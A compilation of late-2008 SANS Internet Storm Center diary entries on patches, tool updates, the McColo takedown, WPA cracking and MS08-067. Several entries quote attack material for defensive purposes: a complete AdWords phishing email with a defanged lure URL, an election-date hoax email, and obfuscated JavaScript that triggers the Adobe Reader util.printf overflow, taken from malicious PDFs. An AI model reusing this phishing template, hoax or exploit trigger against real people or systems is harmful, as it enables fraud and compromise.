Regardless of whether you go for a pure-play network or host based aproach, or a combination, the investigative approach should be to identify that which is unusual, validate whether it is a manifestation of a threat, and reapply what is learned to our detection probes, or identify additional monitoring that would add value. The next step is to improve our understanding of the threat agent and how it interfaces with our network. One way to get there is nodal link analysis, an analytical technique which we'll cover in a future diary entry.

If you have other ideas on how to approach this problem, do get in touch!

--
Maarten Van Horenbeeck

Just like a London bus, you wait for ages and three come at once. Roseman brings us news that Sysinternals have updated some of their excellent tools.

ZoomIt v2.2: This ZoomIt update makes it easier to see the drawing cursor when it's small relative to the zoomed region by representing it as a cross hair, allows you to position the text cursor when you enter text mode, supports changing the text color for the break timer and while you're placing the text cursor, and includes a number of other minor improvements.

AccessChk v4.22: This update fixes a bug that sometimes caused AccessChk to not show the full list of rights and privileges assigned to a user account.

Details are available on the Sysinternals blog.

Steve Hall

A few of the tools I'm rather fond of have been updated recently, if any of our readers use them, you might want to update.  We already mentioned that Wireshark has been updated to v1.0.4.  Tcpdump and libpcap have been updated to v4.0, I saw the announcement thanks to the wireshark folks.  Also, our friend Daniel Cid has updated OSSEC to v1.6.1.  Matthieu Suiche has updated win32dd to v1.2

New versions of FIrefox 2 & 3 were released this evening.  Firefox 2.0.0.18 fixes 11 security vulnerabilities 6 of them critical including 2 remote code executions.  Firefox 3.0.4 fixes 9 security vulnerabilities, 4 of them critical.  As we've mentioned before, the Mozilla folks recommend that folks still running FF2 upgrade to FF3 as soon as possible.

References:

http://www.mozilla.com/en-US/firefox/3.0.4/releasenotes/

http://www.mozilla.com/en-US/firefox/2.0.0.18/releasenotes/

Based on the investigative research of the Washington Post's Brian Krebs, US-based McColo has been taken offline by their various upstream providers.  This has once again led to discussion on the merits of knocking the "bad guys" offline compared to doing security intelligence and mitigating the threats they pose. First, some details.

The McColo network not only was a large source of spam in the US (check your spam counts, you'll see a noticeable drop), but also trafficked in child pornography and malware. Skipping past allegations of whether or not McColo is culpable, the badness certainly was on their network and it wasn't been addressed.  It has been known that McColo was home to some of this stuff that was sitting in a San Jose, California data center.

Herein lies the problem.  When security researchers discover where "bad behavior" is coming from, do they take it offline or do they do research to try to mitigate the threats posed.  In the case of child porn, the answer should be obvious, but the question is more about malware / spam operations.  At first glance, it is tempting to simply glean information from these people while they are unaware of us watching, but I argue this is a poor long-term strategy.

Intelligence is not an end-product, it is a tool. You do *something* with intelligence, you don't gather it for the sake of gathering it.  Creating signatures for AV/AM, IDS/IPS and spam filters is great, but the statistics show that the "bad guys" are adapting just as fast as we churn out signatures. In short, waiting for them to adapt and then creating counter-measures only ensures that they get the first win (or what I call the First Win Principle).  We only can react after they've already stolen information.  This is a "bad thing" <tm>.

That isn't to say we should chuck AV/AM and reactive security overboard, far from it.  But to truly achieve results in securing cyberspace, we need to be proactive.  You don't win an "information war" solely by playing defense.  Spam, malware, electronic crime and the like keep working and keep proliferating for two reasons:

1) It is very cheap
2) It is very profitable

The "costs" from prosecution and the "costs" from being shut down are negligible so the "bad guys" can use their finite resources to keep developing their techniques and technologies to get around our countermeasures.  And they are winning.  The key to fighting spam and malware is to make them "more costly" and "less profitable".  Sure, knocking these people offline only causes them to go elsewhere, but it imposes costs on them to move their operations, costs to increase their own security and defensive posture and gives us time to breathe.  From a purely economic standpoint, as long as the costs are low and the gains are high, "bad behavior" will continue to increase and evolve to the point where our current strategies will simply no longer work.

There is a place for security intelligence and research.  When we find these nests of badness we should glean all we can from them, but then we need to shut it down.  Knowing where the bad guys are doesn't help the people who get their identities stolen.  The only long-term solution is increased prosecution and imposing increased costs on the "bad guys".

Thoughts?  Use our contact form and let us know what you think.

--
John Bambenek
bambenek /at/ gmail \dot\ com

Overview of the November 2008 Microsoft patches and their status.

--
Swa Frantzen -- Section 66

Today, (Tue Nov 11 17:27:xx in GMT+1) I received:

From: Google AdWords <setup@google.com>                                       
To: xxx@xxx.xxx
Subject: Google AdWords Alert 
Date: Wed, 12 Nov 2008 02:27:xx +1000 
 
Hello, 
 
Our attempt to charge your credit card on Wed, 12 Nov 2008 02:27:xx +1000
for your outstanding Google AdWords account balance was declined. 
Your account is still open. However, your ads have been suspended. Once 
we are able to charge your card and receive payment for your account 
balance, we will re-activate your ads. 
 
Please update your billing information, even if you plan to use the 
same credit card. This will trigger our billing system to try charging 
your card again. You do not need to contact us to reactivate your 
account. 
 
To update your primary payment information, please follow these steps: 
 
1. Log in to your AdWords account at: http://adwords .google .com 
.session- xxxxxxxxxxxxxxxxxxxx .xxxxxxxxxxxxxxxxxxxx .com68 .ru 
3. Click 'Billing Preferences' link. 
4. Click Edit next to the appropriate 'Payment Details' section. 
5. Enter your new or updated payment information. 
6. Click 'Save Changes' when you have finished. 
 
In the future, you may wish to use a backup credit card in order to 
help ensure continuous delivery of your ads. You can add a backup 
credit card by visiting your Billing Preferences page. 
------------------------------------------------------------------ 
This message was sent from a notification-only email address that does 
not accept incoming email. Please do not reply to this message. If you 
have any questions, please visit the Google AdWords Help Centre at 
https://adwords.google.com/support/?hl=en_GB to find answers to 
frequently asked questions and a 'contact us' link near the bottom of   
the page.
---------------------------------------------------------------- 
 
Thank you for advertising with Google AdWords. 
We look forward to providing you with the most effective advertising available. 
 
Sincerely,

The Google AdWords Team 

The x-ed out stuff was spot-on, the spaces are added to the URL to prevent any reader from clicking on this. It was sent to an email address I actually have used in association with Google adwords, (although it's not that well targeted, I got other copies of it on addresses I use in conjunction with managing websites but not linked to adwords.)

Notice the lack of obvious errors aside of a date that's in the future (their timezone calculation might be off) and the concealed URL that does not point to google.com, but to .com68.ru

Now, when explaining to your users how to detect phishing from real warnings, do you think your users have a reasonable chance of noticing this before the credit card gets abused?

Tracing it back:

• com68.ru has a private registration. Sure, what's new.
• The email originated in 77.34.0.0/15 (used by an ISP based in Vladivostok).
• The actual DNS name didn't resolve at the time of this writing.

--
Swa Frantzen -- Section 66

It seems those responsible for the prior reported attacks, and followed up only yesterday, are still busy and most probably successful at it.

Holger reported a site that via obfuscation and redirection pointed back to the same site as where Bojan initially found his malicious pdfs.

Interesting the pdfs are new files.

Checking the new pdf again (both file names have the same content (MD5: e51f24ec2e3d2cf71aa1ba74a7210841) on virustotal to get an up to date idea of the coverage, we get this:

All the rest of the products tested at virustotal fail to detect these newer pdfs at all at this time.

So, what are to do ?

• Are your acrobat installations fully up to date on patches ? How can you be sure ?
• Do you really need pdf viewers to execute downloaded javascript ? How can it be turned off ?

Perhaps the policy file contributed by Elazar can help you:

CLASS USER 
 
CATEGORY "Adobe Acrobat/Reader 6.x - 8.x" 
 
POLICY "JavaScript Reader 8.x" 
KEYNAME "Software\Adobe\Acrobat Reader\8.0\JSPrefs" 
EXPLAIN "Enable or Disable JavaScript in Acrobat Reader 8.x" 
VALUENAME "bEnableJS" 
VALUEON NUMERIC 1 
VALUEOFF NUMERIC 0 
END POLICY 
 
POLICY "JavaScript Acrobat 8.x" 
KEYNAME "Software\Adobe\Adobe Acrobat\8.0\JSPrefs" 
EXPLAIN "Enable or Disable JavaScript in Acrobat 8.x" 
VALUENAME "bEnableJS" 
VALUEON NUMERIC 1 
VALUEOFF NUMERIC 0 
END POLICY 
 
POLICY "JavaScript Reader 7.x" 
KEYNAME "Software\Adobe\Acrobat Reader\7.0\JSPrefs" 
EXPLAIN "Enable or Disable JavaScript in Acrobat Reader 7.x" 
VALUENAME "bEnableJS" 
VALUEON NUMERIC 1 
VALUEOFF NUMERIC 0 
END POLICY 
 
POLICY "JavaScript Acrobat 7.x" 
KEYNAME "Software\Adobe\Adobe Acrobat\7.0\JSPrefs" 
EXPLAIN "Enable or Disable JavaScript in Acrobat 7.x" 
VALUENAME "bEnableJS" 
VALUEON NUMERIC 1 
VALUEOFF NUMERIC 0 
END POLICY 
 
POLICY "JavaScript Reader 6.x" 
KEYNAME "Software\Adobe\Acrobat Reader\6.0\JSPrefs" 
EXPLAIN "Enable or Disable JavaScript in Acrobat Reader 6.x" 
VALUENAME "bEnableJS" 
VALUEON NUMERIC 1 
VALUEOFF NUMERIC 0 
END POLICY 
 
POLICY "JavaScript Acrobat 6.x" 
KEYNAME "Software\Adobe\Adobe Acrobat\6.0\JSPrefs" 
EXPLAIN "Enable or Disable JavaScript in Acrobat 6.x" 
VALUENAME "bEnableJS" 
VALUEON NUMERIC 1 
VALUEOFF NUMERIC 0 
END POLICY 
 
END CATEGORY

Disclaimer: I've not tried this policy file.

UPDATE:

Holger seems to have taken an interest in this and reported that they seem to have updated the attack once again, no more detection in virustotal.

--
Swa Frantzen -- Section 66

You may have read Bojan's excellent diary earlier this month where he looks at a couple of new PDF exploits with zero AV coverage. The low coverage was likely to be caused by a funky method of confusing the AV engine when its parsing the Javascript contained within the PDF.

Well,  Didier Steven's has written an analysis of those files and it an excellent read. Go take a look at his blog entry on Shoulder Surfing a Malicious PDF Author. 

Steve Hall

Apple have released iLIfe support version 8.3.1 which addresses three security issues with the ImageIO component.

These addresses issues in Mac OSX releases 10.4.9 through 10.4.11 and can be found on the Apple support site.

The following CVE's are covered:

CVE-2008-2327 : Viewing a maliciously crafted TIFF image may lead to an unexpected application termination or arbitrary code execution

CVE-2008-2332 : Viewing a maliciously crafted TIFF image may lead to an unexpected application termination or arbitrary code execution

CVE-2008-3608 : Viewing a large maliciously crafted JPEG image may lead to an unexpected application termination or arbitrary code execution

Apple indicate that if your on Leopard version 10.5.5 this is already fixed, so it would appear that if your not at 10.5.5 you should upgrade for these issues too.

Yesterday, fellow handler Joel provided an early warning about the recently announced WPA Crack. Although we won't know all the technical details until next week (at least in whitepaper or presentation format), I tried to provide some light about this issue on my personal blog, RaDaJo. It is important to highlight that PoC exploit code is available.

The recomendation is simple: Migrate to WPA2! If for any reason you cannot do it before finishing reading this post, check some of the quick mitigation recommendations (like reducing the renew key interval; please, test it before making the change on your production environment), and increase your wireless detection stance and check for multiple MIC failure messages.

--
Raul Siles
www.raulsiles.com

One of our readers, Wayne Dilly, sent couple of malicious PDF documents to us. Wayne noticed that some machines got infected and wondered if the PDF documents exploited the vulnerability patched by Adobe couple of days ago (CVE-2008-2992 - see http://isc.sans.org/diary.html?storyid=5282).

Unfortunately, Wayne was right – these PDF documents exploit the JavaScript buffer overflow vulnerability. This is not surprising, though, as a fully working PoC has been recently published as well, but it's interesting to see that the attackers modified the PoC a little bit, probably in order to evade anti-virus detection.

And indeed – at the time of writing this article, according to VirusTotal 0 (yes – ZERO) AV products detected this malicious PDF. Very, very bad.

The payload is in a JavaScript object embedded in the PDF document. Once extracted, it just contains first level obfuscation with a simple eval(unescape()) call.

Once deobfuscated, parts of the publicly posted PoC are visible, but the attackers also modified certain parts. For example, the PoC defines a long number variable (referenced to the advisory by CORE), as shown below:

var num = 129999999999999999…. [a lot of numbers]
util.printf("%45000f",num);

However, the exploit code in the wild has the following loops:

var nm = 12;
for(i = 0; i < 18; i++){ nm = nm + "9"; }
for(i = 0; i < 276; i++){ nm = nm + "8"; }

util.printf(unescape(""+"%"+"25%34%35%30%30%30%66"), nm);

See how they manage to do exactly the same thing? Unfortunately, this was probably enough to fool the AV vendors.

In any case, if you haven't patched your Adobe Reader installations – do it ASAP as the attacks are in the wild.

--
Bojan


 

Vmware have released more patches. One is a new advisory, the other is an update.

VMSA-2008-0018 VMware Hosted products and patches for ESX and ESXi

VMSA-2008-0016.1 VMware Hosted products, VirtualCenter Update 3 and patches for ESX and ESXi resolve multiple security issues

As Vmware has become an important part of our infrastructure we have to collectively ensure that we deploy and maintain virtual systems in a secure fashion. Which included design, architecture, patching, and hardening.

Cheers,
Adrien de Beaupré
intru-shun.ca

Now, I know alot of people that use Twitter out there (myself included), just to keep up with what's going on and stay in touch with others.  Heck, I have a friend of mine who delivers all of his RSS feeds into Twitter via TwitterFeed, then reads his RSS from there.  But I digress.

Just to let you all know, the ISC has a Twitter Feed.  http://www.twitter.com/sans_isc feel free to follow us to get all the up-to-the-minute news.

-- Joel Esler http://www.joelesler.net

As you may notice over there on the right, (and for those of you reading via RSS, click here.)

We have a new poll, please if you get a chance, answer the question for us?  Thanks.

-- Joel Esler http://www.joelesler.net

I saw this on a couple news sites this morning, and it's security related, so I think it's important to throw it up on the Diary for today. 

Looks like WPA (one of the methods of encrypting Wi-Fi sessions, oh yes, and I *did* just link to Wikipedia.)  TKIP keys have been hackable via Dictionary attack for a little while now, but this attack is NOT a dictionary attack. Oh yeah, and it's pretty quick too. (12-15 minutes according to the article I read).

Why do I say that it's not as bad as you think?  The researchers (named in the above article) still haven't gotten access to the actual data that is being transferred.  They just cracked the TKIP key.  But that's step 1.

So, we all know that WEP isn't really the best thing in the world (read: don't use it), WPA apparently isn't much better.  WPA2 is still uncracked as of now (as far as I know!), so ensure you are using it, if you are running Wireless networks.

Not only do you want a pre-shared key in between your computer and the access point, but you also want after-connection verification of some type if possible.  Perhaps a splash page where you have to enter your username and password to authenticate?  Perhaps some kind of 3rd party token, a la, RSA key?

So, the take away from this is, if you are using WEP (wow, you are?) or WPA, please move to WPA2. 

(Interesting fact -- You know what doesn't support WPA2?  Xbox360.  So what?  It's just a game console right?  How about what you enter in on the Xbox360 in order to buy an Xboxlive subscription?  How about, your credit card number?  I am sure there are plenty more devices that don't support WPA2, it was just an interesting observation.  Does Windows support WPA2?  I would think so right?  [I don't know])

-- Joel Esler http://www.joelesler.net

Submitted today by a reader (thanks roseman), it looks like Adobe has posted a couple updates.

1. Potential ColdFusion 8 privilege escalation

2. Flash Player update for security vulnerabilities

You know, the more and more I think about it, and I hate to admit it (being a non-Microsoft guy myself), but I think Microsoft has a good thing going on with the "second Tuesday of every month" patch cycle.  Except for the most important patches that are out of cycle, (aka MS08-067).  I really like how Microsoft is doing it, and I wish more vendors would hop on that train.

(I know I am going to catch some reader email for that diary entry!)

-- Joel Esler http://www.joelesler.net

Thanks go out to Gary Warner for alerting us to this bogus presedential
speech malware being spammed out right now.
"A very prevalent spam campaign promising a chance to view Obama's
acceptance speech is leading instead to keylogger malware that sends
the stolen keystrokes to the Ukraine."

http://garwarner.blogspot.com/2008/11/computer-virus-masquerades-as-obama.html

UPDATE:
Jack pointed out this link from Websense which also leads people to malware using a fake video this time.
http://securitylabs.websense.com/content/Alerts/3229.aspx

You probably have heard of voting machines that have various security issues.
This article isn't about that. In attempting to hack the election the "politically motivated"
have tried methods other then breaking into the voting machine infrastructure.

I have heard reports of automated phone calls, sms and seen email intended to convince
the receiver that they should vote the day after the election.
Why would you want to convince people to vote late, because that means they didn't
get to vote? People are great procrastinators given an option of doing something today or
doing something tomorrow many of us choose tomorrow;)



This is an email with headers that was sent to George Mason distribution list.

Return-path View brief message
headers<owner-announce04-l@mail04.gmu.edu<mailto:owner-announce04-l@mail04.gmu.edu>
<mailto:owner-announce04-l@mail04.gmu.edu<mailto:owner-announce04-l@mail04.gmu.edu>> >
Received from caduceus1.gmu.edu<http://caduceus1.gmu.edu>
<http://caduceus1.gmu.edu/> ([129.174.0.40<http://129.174.0.40>
<http://129.174.0.40/> ]) by mercury1.gmu.edu<http://mercury1.gmu.edu>
<http://mercury1.gmu.edu/> (Sun Java System Messaging Server
6.2-2.05 (built Apr 28 2005)) with ESMTP id
<0K9S00CFRQAJRMF0@mercury1.gmu.edu<mailto:0K9S00CFRQAJRMF0@mercury1.gmu.edu>
<mailto:0K9S00CFRQAJRMF0@mercury1.gmu.edu<mailto:0K9S00CFRQAJRMF0@mercury1.gmu.edu>> >;
Tue, 04 Nov 2008 01:35:07 -0500 (EST)
Received from cronus.gmu.edu<http://cronus.gmu.edu> <http://cronus.gmu.edu/>
([129.174.0.112<http://129.174.0.112> <http://129.174.0.112/> ]) by
caduceus1.gmu.edu<http://caduceus1.gmu.edu> <http://caduceus1.gmu.edu/> (Sun Java
System Messaging Server 6.2-2.05 (built Apr 28 2005)) with
ESMTP id <0K9S00AZLQ20TAA0@caduceus1.gmu.edu<mailto:0K9S00AZLQ20TAA0@caduceus1.gmu.edu>
<mailto:0K9S00AZLQ20TAA0@caduceus1.gmu.edu<mailto:0K9S00AZLQ20TAA0@caduceus1.gmu.edu>> >;
 Tue, 04 Nov 2008 01:35:07 -0500 (EST)
Received from ironport2.gmu.edu<http://ironport2.gmu.edu>
<http://ironport2.gmu.edu/> (ironport2.gmu.edu<http://ironport2.gmu.edu>
<http://ironport2.gmu.edu/> [129.174.0.125<http://129.174.0.125>
<http://129.174.0.125/> ]) by cronus.gmu.edu<http://cronus.gmu.edu>
<http://cronus.gmu.edu/> (8.13.4/8.13.4) with ESMTP id
mA46SYhN028499; Tue, 04 Nov 2008 01:28:43 -0500 (EST)
Received from mail04.gmu.edu<http://mail04.gmu.edu> <http://mail04.gmu.edu/>
([129.174.0.116<http://129.174.0.116> <http://129.174.0.116/> ]) by
ironport2.gmu.edu<http://ironport2.gmu.edu> <http://ironport2.gmu.edu/> with ESMTP;
Tue, 04 Nov 2008 01:28:42 -0500
Received from LISTSERV.GMU.EDU<http://LISTSERV.GMU.EDU>
<http://listserv.gmu.edu/> (mail04.gmu.edu<http://mail04.gmu.edu>
<http://mail04.gmu.edu/> [129.174.0.116<http://129.174.0.116>
<http://129.174.0.116/> ]) by mail04.gmu.edu<http://mail04.gmu.edu>
<http://mail04.gmu.edu/> (8.11.7p3+Sun/8.11.7) with ESMTP id
mA46Sg429402; Tue, 04 Nov 2008 01:28:42 -0500 (EST)
Received by LISTSERV.GMU.EDU<http://LISTSERV.GMU.EDU> <http://listserv.gmu.edu/>
(LISTSERV-TCP/IP release 14.4) with spool id 2611076 for
ANNOUNCE04-L@LISTSERV.GMU.EDU<mailto:ANNOUNCE04-L@LISTSERV.GMU.EDU>
<mailto:ANNOUNCE04-L@LISTSERV.GMU.EDU<mailto:ANNOUNCE04-L@LISTSERV.GMU.EDU>> ;
Tue, 04 Nov 2008 01:26:42 -0500
Received from ironport2.gmu.edu<http://ironport2.gmu.edu>
<http://ironport2.gmu.edu/> (ironport2.gmu.edu<http://ironport2.gmu.edu>
<http://ironport2.gmu.edu/> [129.174.0.125<http://129.174.0.125>
<http://129.174.0.125/> ]) by mail04.gmu.edu<http://mail04.gmu.edu>
<http://mail04.gmu.edu/> (8.11.7p3+Sun/8.11.7) with ESMTP id
mA46Gg427221 for <ANNOUNCE04-L@mail04.gmu.edu<mailto:ANNOUNCE04-L@mail04.gmu.edu>
<mailto:ANNOUNCE04-L@mail04.gmu.edu<mailto:ANNOUNCE04-L@mail04.gmu.edu>> >; Tue, 04 Nov 2008
01:16:42 -0500 (EST)
Received from m154.prod.democracyinaction.org<http://m154.prod.democracyinaction.org>
<http://m154.prod.democracyinaction.org/> ([8.15.20.154<http://8.15.20.154>
<http://8.15.20.154/> ]) by ironport2.gmu.edu<http://ironport2.gmu.edu>
<http://ironport2.gmu.edu/> with ESMTP; Tue, 04 Nov 2008
01:16:42 -0500
Received from [10.15.20.114<http://10.15.20.114> <http://10.15.20.114/> ]
([10.15.20.114:39637<http://10.15.20.114:39637> <http://10.15.20.114:39637/> ]
helo=web4.mcl.wiredforchange.com<http://web4.mcl.wiredforchange.com>
<http://web4.mcl.wiredforchange.com/> ) by
mailer.mcl.wiredforchange.com<http://mailer.mcl.wiredforchange.com>
<http://mailer.mcl.wiredforchange.com/> (envelope-from
<noreply@gmu.edu<mailto:noreply@gmu.edu>
<mailto:noreply@gmu.edu<mailto:noreply@gmu.edu>> >) (ecelerity
2.2.2.35<http://2.2.2.35> <http://2.2.2.35/> r(26825/26826)) with ESMTP id
BC/ED-21096-AC8EF094; Tue, 04 Nov 2008 01:16:42 -0500
Date Tue, 04 Nov 2008 01:16:42 -0500
From Office of the Provost <noreply@gmu.edu<mailto:noreply@gmu.edu>
<mailto:noreply@gmu.edu<mailto:noreply@gmu.edu>> >
Subject Election Day Update
Sender ANNOUNCE04-L <ANNOUNCE04-L@mail04.gmu.edu<mailto:ANNOUNCE04-L@mail04.gmu.edu>
<mailto:ANNOUNCE04-L@mail04.gmu.edu<mailto:ANNOUNCE04-L@mail04.gmu.edu>> >
To ANNOUNCE04-L@mail04.gmu.edu<mailto:ANNOUNCE04-L@mail04.gmu.edu>
<mailto:ANNOUNCE04-L@mail04.gmu.edu<mailto:ANNOUNCE04-L@mail04.gmu.edu>>
Reply-to noreply@gmu.edu<mailto:noreply@gmu.edu> <mailto:noreply@gmu.edu<mailto:noreply@gmu.edu>>
Message-id
<23911171.1225779402109.JavaMail.root@web4.mcl.wiredforchange.
com
<mailto:23911171.1225779402109.JavaMail.root@web4.mcl.wiredfor
<mailto:23911171.1225779402109.JavaMail.root@web4.mcl.wiredfor>
change.com<http://change.com>> >
MIME-version 1.0
Content-type multipart/alternative;
boundary="----=_Part_3017_30982749.1225779402108"
Precedence list
X-Sender-IP 129.174.0.116<http://129.174.0.116> <http://129.174.0.116/>
X-Sender-IP 8.15.20.154<http://8.15.20.154> <http://8.15.20.154/>
X_DIA_Originating_IP : 85.195.123.24<http://85.195.123.24> <http://85.195.123.24/>
X_DIA_Source : Host:web4.mcl.wiredforchange.com<http://web4.mcl.wiredforchange.com>
<http://web4.mcl.wiredforchange.com/> DB org
X_DIA_Referer :
X-SENDER-REPUTATION 4.5
X-IronPort-Anti-Spam-Filtered true
X-IronPort-Anti-Spam-Result
AooAAD96D0mBrgB0kWdsb2JhbACCRzKRHgEBAQEJCwoHEQStA4YRhEuDU4Mv
X-IronPort-AV E=Sophos;i="4.33,541,1220241600";
d="scan'208";a="55510806"
X-SENDER-REPUTATION 3.7
X-IronPort-Anti-Spam-Filtered true
X-IronPort-Anti-Spam-Result
AogAAP12D0kIDxSaiWdsb2JhbACCRzKRHgEBAQoLCAkQBax6hhCES4NTgy8
X-IronPort-AV E=Sophos;i="4.33,541,1220241600";
d="scan'208";a="55510203"
Comments To: ANNOUNCE04-L@mail04.gmu.edu<mailto:ANNOUNCE04-L@mail04.gmu.edu>
<mailto:ANNOUNCE04-L@mail04.gmu.edu<mailto:ANNOUNCE04-L@mail04.gmu.edu>>
List-Owner <mailto:ANNOUNCE04-L-request@LISTSERV.GMU.EDU
<mailto:ANNOUNCE04-L-request@LISTSERV.GMU.EDU>
<mailto:ANNOUNCE04-L-request@LISTSERV.GMU.EDU<mailto:
ANNOUNCE04-L-request@LISTSERV.GMU.EDU>> >
List-Subscribe
<mailto:ANNOUNCE04-L-subscribe-request@LISTSERV.GMU.EDU
<mailto:ANNOUNCE04-L-subscribe-request@LISTSERV.GMU.EDU>
<mailto:ANNOUNCE04-L-subscribe-request@LISTSERV.GMU.EDU
<mailto:ANNOUNCE04-L-subscribe-request@LISTSERV.GMU.EDU>> >
List-Unsubscribe
<mailto:ANNOUNCE04-L-unsubscribe-request@LISTSERV.GMU.EDU
<mailto:ANNOUNCE04-L-unsubscribe-request@LISTSERV.GMU.EDU>
<mailto:ANNOUNCE04-L-unsubscribe-request@LISTSERV.GMU.EDU
<mailto:ANNOUNCE04-L-unsubscribe-request@LISTSERV.GMU.EDU>> >
List-Help <mailto:LISTSERV@LISTSERV.GMU.EDU<mailto:LISTSERV@LISTSERV.GMU.EDU>
<mailto:LISTSERV@LISTSERV.GMU.EDU<mailto:LISTSERV@LISTSERV.GMU.EDU>>
?body=INFO+ANNOUNCE04-L>

To the Mason Community:

Please note that election day has been moved to November 5th.
We apologize for any inconvenience this may cause you.

Peter N. Stearns
Provost

Brian Krebs does a good job of covering this here:
http://voices.washingtonpost.com/securityfix/2008/11/election_hoax_e-mail_sent_via.html


These tricks aren't new they are just upgraded for the Internet and the mass
messaging capabilities that has created.

This is a list of "dirty tricks" from the 2004 election.
http://www.flcv.com/dirtytrf.html

Putting flyers on the door is a bit risky, calling from your home phone is a bit risky,
sending sms spam, email spam, etc ... is fairly safe. Just do it from a compromised system
in another nation, via an open mail relay and chances are you'll never get caught (sigh).

Tillmann at mwcollect.org wrote in with a sample ms08-067 analysis.

“we've caught an MS08-067 exploitation attempt and provide the
trace and a brief analysis here: http://honeytrap.mwcollect.org/msexploit  “

The analysis is good. They have sample packets of the exploit and the call back shell. They show an example of libemu’s sctest. They find the exploiting ip 61.218.147.66. That IP is definitely sequentially scanning ip addresses for tcp 445 looking for vulnerable systems so blocking it at your enterprise gateway is recommended.
 UPDATE:
Emerging Threats has released signature's to catch trojan checkin and worm traffic outbound.

2008737 - ET CURRENT_EVENTS KernelBot/MS08-67 related Trojan Checkin (emerging.rules)
2008739 - ET CURRENT_EVENTS MS08067 Worm Traffic Outbound (emerging.rules)
http://doc.emergingthreats.net/bin/view/Main/2008737
http://doc.emergingthreats.net/bin/view/Main/2008739
Joel covered Sourcefire's signatures and other details related to this activity in his diary here:
http://isc.sans.org/diary.html?storyid=5275

A new version of bothunter's botnet detection tool was recently released.
They have added: dynamic updating, an upgrade to the ruleset,
a basic GUI, bug fixes, malware oriented scan detection, and a set of
malware DNS-query detectors. It has support for linux, freeBSD, MacOS X,
Windows XP and a Live-CD so you can run it without installing it.
This tool uses some unusual correlation techniques to watch the
multi-directional flow of traffic from potentially infected internal systems
with external systems including c&c controllers, malware distribution etc...

From www.bothunter.net
"BotHunter flips the paradigm of classic network-based intrusion detection,"
says Phillip Porras, lead developer of the BotHunter project.
"Rather than monitoring who is trying to break into your network,
BotHunter detects those machines inside your network that are trying to
propagate infections or are being remotely controlled by external hackers."
BotHunter also includes a regular update service that allows fielded systems
to be updated with the latest information regarding remote botnet control sites,
malware related-DNS lookups, and Russian Business Network (RBN) address space,
 which are used to control infected computers. "Modern malware defenses need to
be adaptive and aware of the latest strategies used by Internet malware, and
BotHunter is ready to meet this challenge."

BotHunter is available for download at www.bothunter.net.
BotHunter was funded through the Cyber-Threat Analytics (http://www.cyber-ta.org)
research grant from the U.S. Army Research Office.



 

Adobe released a security update for Adobe Reader 8 and Acrobat 8 that covers 8 different CVEs today.
http://www.adobe.com/support/security/bulletins/apsb08-19.html
This update covers these CVEs: CVE-2008-2992, CVE-2008-2549, CVE-2008-4812, CVE-2008-4813, CVE-2008-4817, CVE-2008-4816, CVE-2008-4814, CVE-2008-4815.

It affects Adobe Reader 8.1.2 and earlier and Acrobat Pro, 3d and Std 8.1.2 and earlier.
Adobe recommends you upgrade to Reader 9 or 8.1.3 or upgrade to Acrobat 8.1.3 depending on which product(s) you use.
This set of vulnerablies can lead to Internet Security options being changed, priviledge escalation, DOS or in the worse cases remote code execution.

On behalf of the volunteer handlers of the SANS Internet Storm Center, I'd like to pass along our deep appreciation to all of the readers who sent in hundreds of comments and ideas during the past month!  As promised, below is an index to all of the Cyber Security Awareness Month diaries that were published over the past several weeks.  You can also find the daily subjects by searching on the keyword "Awareness2008" in our diary archive.  Because we chose to focus on the six steps of incident handling, we went a bit longer than 31 days to allow for the inclusion of step six, Lessons Learned. So as a bonus this year you get 34 days rather than 31!

Here is the schedule that we followed:

Preparation:  October 1-4
Identification:  October 5-11
Containment:  October 12-18
Eradication:  October 19-25
Recovery:  October 26-31
Lessons Learned:  November 1-3

We are working on producing a full document that has all of the submissions (cleaned up, reformatted, and sanitized if needed) that were received.  As you can imagine it will be a while before it's ready for downloading due to the volume of information that was sent to us.  If you have any final thoughts or want to add some additional tips to the subjects, please send send them to us via our contact form. 

1. Preparation
  1 Policies, Management Support, and User Awareness
  2 Building a Response Team
  3 Building Checklists
  4 What Goes Into a Response Kit

2. Identification
  5 Events versus Incidents
  6 Network-based Intrusion Detection Systems
  7 Host-based Intrusion Detection Systems
  8 Global Incident Awareness
  9 Log and Audit Analysis
 10 Using Your Help Desk to Identify Security Incidents
 11 Other Methods of Identifying an Incident

3. Containment
 12 Gathering Evidence That Can be Used in Court
 13 Containment on Production Systems Such as a Web Server
 14 Containing a Personal IdentityTheft Incident
 15 Containing the Damage From a Lost or Stolen Laptop
 16 Containing a Malware Outbreak
 17 Containing a DNS Hijacking
 18 Containing Other Incidents

4. Eradication
 19 Forensic Analysis Tools - What Happened?
 20 Eradicating a Rootkit
 21 Removing Bots, Keyloggers, and Spyware
 22 Wiping Disks and Media
 23 Turning off Unused Services
 24 Cleaning Email Servers and Clients
 25 Finding and Removing Hidden Files and Directories

5. Recovery
 26 Restoring Systems From Backups
 27 Validation via Vulnerability Scanning
 28 Avoiding Finger Pointing and the Blame Game
 29 Should I Switch Software Vendors?
 30 Applying Patches and Updates
 31 Legal Awareness (Regulatory, Statutory, etc.)

6. Lessons Learned (November)
 1 (32) What Should I Make Public?
 2 (33) Working With Management to Improve Processes
 3 (34) Feeding The Lessons Learned Back to the Preparation Phase

Marcus H. Sachs
Director, SANS Internet Storm Center

This, being the last day of CyberSecurity Awareness Month, here's your last topic for 'food for thought'.

Today's topic is "Feeding the Lessons Learned Back to the Preparation Phase".

Once you completed your project, once you've made your "Cyber" Secure, how can you help out the next phase?  How can you not only help out your own company, but other companies as well?  Other companies, other parts of your company, could be about to go through the project that you just went through.  Deploying an IDS?  Deploying a Firewall?  How can you make the job that you just performed easier on the next guy?

There are always some mistakes made in the process, how can you make your process mistake free next time? 

Please submit your thoughts via the contact page.

-- Joel Esler http://www.joelesler.net

We have received a report of a wild MS08-067 worm.

Reference: http://www.f-secure.com/weblog/archives/00001526.html

Reported file size 16,384 bytes:

http://www.threatexpert.com/report.aspx?uid=919a973d-9fe1-4196-b202-731ebaaffa5d

Kaspersky Lab detect the new wave as
Exploit.Win32.MS08-067.g

and Microsoft as
Exploit:Win32/MS08067.gen!A

Sophos uses name Mal/Generic-A.

Much thanks to Juha-Matti for sending us an email.

-- Joel Esler http://www.joelesler.net

